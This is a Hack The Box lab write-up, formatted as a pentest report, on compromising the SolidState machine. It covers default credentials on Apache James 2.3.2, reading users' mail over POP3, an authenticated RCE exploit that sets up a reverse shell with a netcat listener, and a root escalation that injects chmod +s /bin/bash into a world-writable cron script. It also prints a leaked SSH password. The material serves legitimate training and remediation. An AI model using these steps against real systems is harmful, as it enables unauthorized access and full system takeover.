Hack The Box SolidState Writeup (Medium Linux)

Summary

SolidState is a medium Linux machine running Apache James Mail Service 2.3.2, whose remote administration tool sits on port 4555 and still accepts the default root:root login. That console lists every mail user and lets their passwords be set at will, so changing one and connecting to POP3 on port 110 reads their mailbox. One of the messages to mindy carries her SSH credentials, and although her shell is restricted, a public authenticated remote code execution exploit for James 2.3.2 plants a payload that fires when she next logs in, returning a full bash reverse shell. On the host, /opt/tmp.py is owned by root, runs on a schedule to clear /tmp, and is world writable, so rewriting it to call chmod +s /bin/bash and waiting a minute leaves a setuid shell and root access.

Executive Summary

Introduction

This Pentest report documents the results of the security assessment conducted on the IP address 10.10.10.51. The assessment aimed to identify vulnerabilities within the target infrastructure and evaluate potential security risks.

Objective

The primary objective of this security assessment was to identify vulnerabilities, exploit them, and assess the potential risks to the target system. The evaluation focused on the James Mail Service 2.3.2 and related services.

Requirements

The assessment included:

• Identifying vulnerabilities within the James Mail Service 2.3.2.

• Exploiting these vulnerabilities to evaluate potential security risks.

• Assessing the possibility of unauthorized access and data disclosure.

• Providing recommendations to mitigate identified vulnerabilities.

High-Level Summary of Found Vulnerabilities

James Mail Service 2.3.2

1. BS01 - Default Credentials (Elevated): Behind Security successfully logged in to the JAMES Remote Administration Tool 2.3.2 using default credentials (root:root). This access allowed for listing valid users and changing user passwords.

2. BS02 - Sensitive Information Disclosure (Elevated): By abusing default credentials in the JAMES Remote Administration Tool, Behind Security accessed and read sensitive emails on port 110.

3. BS03 - Outdated Software and Remote Code Execution (High): The JAMES Remote Administration Tool 2.3.2 was found to have an Authenticated Remote Code Execution (RCE) vulnerability. Exploiting this vulnerability with default credentials resulted in gaining full control of the system.

4. BS04 - Initial Access - SSH Credentials (High): Sensitive emails revealed SSH credentials for user “mindy,” which allowed Behind Security to establish an SSH connection.

Post Exploitation

1. BS05 - LPE to root (Local Privilege Escalation to root) (Extreme): Behind Security identified an unusual world-writable Python script (/opt/tmp.py) owned by root, which automatically cleared entries in the /tmp folder. By injecting malicious Python code into the script, full root access was obtained.

Recommendations

1. Change Default Credentials: Immediately change the default credentials (root:root) for the JAMES Remote Administration Tool to strong and unique passwords.

2. Reset Passwords: Reset the passwords of all affected users and inform them of the changes.

3. Update Software: Promptly update the JAMES Mail Service to the latest secure version to address known vulnerabilities.

4. Change SSH Credentials: Change the SSH credentials for user “mindy” and notify the user of the change.

5. Remove Unnecessary Scripts: Eliminate or disable unnecessary scripts or tools without legitimate use.

6. Review Permissions: Review and adjust file permissions to restrict write access to sensitive scripts.

Methodology

The assessment encompassed service enumeration, vulnerability identification, exploitation, and post-exploitation activities. Vulnerabilities were identified, exploited, and recommendations provided to enhance security and mitigate risks.

Color Legend

<code style="color: #a6a6a6;">Standard console text</code>
<br>
<code style="color: #99cc00;">Commands inputted by the pentester</code>
<br>
<code style="color: #ff0000;">Text that we want to highlight</code>
<br>
<code style="color: #ed7d31;">{...} Abbreviated output for brevity</code>

Risk Classification

Independent Challenge - 10.10.10.51

export IP=10.10.10.51

Service Enumeration

IP Address	Ports Open
10.10.10.51	TCP: 22, 25, 80, 110, 119, 4555

James Mail Service 2.3.2

BS01 - Default Credentials

Vulnerability Explanation: Behind Security was able to log in to the JAMES Remote Administration Tool 2.3.2 on port 4555 with default credentials (root:root). With this access, Behind Security listed all valid users and changed users’ passwords deliberately.

Vulnerability Fix:

1. Change Default Credentials: Immediately change JAMES Remote Administration Tool credentials (root:root) to a strong and unique password.

Severity: Elevated

Steps to Reproduce the Attack:

1. Use telnet 10.10.10.51 4555 to connect, and when prompted for the login ID and password, type root for both.

BS02 - Sensitive Information Disclosure

Vulnerability Explanation: Behind Security changed users’ passwords by abusing the default credentials on the JAMES Remote Administration Tool and was able to read sensitive emails from the Solid State Security team on port 110.

Vulnerability Fix:

1. Change Passwords: Reset the passwords of all affected users and notify them of the change.

2. Fix BS01.

Severity: Elevated

Steps to Reproduce the Attack:

1. Use telnet 10.10.10.51 4555 to connect, and when prompted for the login ID and password, type root for both.

2. Run listusers to see all valid users on the mail system.

3. Change a user’s password using setpassword [username] [password].

4. Log in to the POP3 instance on port 110 using the new password.

5. List and read emails by running LIST and then RETR [id].

BS03 - Outdated Software and Remote Code Execution

Vulnerability Explanation: JAMES Remote Administration Tool 2.3.2 is prone to an Authenticated RCE vulnerability, and public exploits are available. Any remote attacker could exploit this flaw with ease, as it is using default credentials. After the exploit is completed, any user who logs into the machine afterwards (via SSH, for example) can be compromised, and the attacker can run commands on their behalf. Behind Security was able to bypass the shell restrictions placed on the user “mindy” and gain full bash capabilities by receiving a reverse shell connection.

Vulnerability Fix:

1. Update Software: Immediately update the JAMES Mail Service to the latest secure version to fix known vulnerabilities.

Severity: High

Steps to Reproduce the Attack:

1. Download this public exploit.

2. Run it against 10.10.10.51, specifying your tun0 IP address to receive the reverse connection: python3 exploit.py 10.10.10.51 YOUR-TUN0-IP 9001.

3. Run a netcat listener: nc -lvnp 9001.

4. Log in to the machine (refer to BS04).

BS04 - Initial Access - SSH Credentials

Vulnerability Explanation: Behind Security was able to read sensitive emails of the user “mindy.” One of the emails discloses the credentials for the user to log in via SSH. The credentials were still valid at that point in time, and Behind Security established an SSH connection successfully.

Vulnerability Fix:

1. Change SSH Credentials: Immediately change the SSH credentials for user “mindy” and notify the user of the change.

Severity: High

Steps to Reproduce the Attack:

1. Change Mindy’s password and read the emails by exploiting BS02 vulnerability above.

2. Log in via SSH using Mindy’s temporary password: ssh mindy@10.10.10.51.

Email:

Here are your SSH credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment; feel free to ask your supervisor to add any commands you need to your path. 

Username: mindy
Password: P@55W0rd1!2@

Respectfully,
James

Post Exploitation

BS05 - LPE to root

Vulnerability Explanation: Behind Security noted the presence of an unusual Python script located at /opt/tmp.py, which simply clears all entries in the /tmp folder. The script is owned by root but is world-writable, which means that everybody can write to it. Behind Security created a file in /tmp to see if the script was indeed running automatically to clear the folder, and it was. After editing the script to include malicious Python code, Behind Security gained root access to the machine, taking complete control over the environment.

Vulnerability Fix:

1. Remove Unnecessary Scripts: Remove or disable unnecessary scripts or tools that have no legitimate use.

2. Permissions: Review and adjust file permissions to restrict write access to the script.

Severity: Extreme

Steps to Reproduce the Attack:

1. Navigate to /opt: cd /opt.

2. Use the CAT EOF technique to edit the tmp.py script: cat <<EOF > tmp.py.

3. Insert any malicious Python code as needed, for example (don’t forget to end with EOF to write to the file):

import os
os.system("chmod +s /bin/bash")
EOF

1. Wait for at least one minute, and then run /bin/bash -p. You can use watch ls -l /bin/bash to monitor /bin/bash permissions in real-time.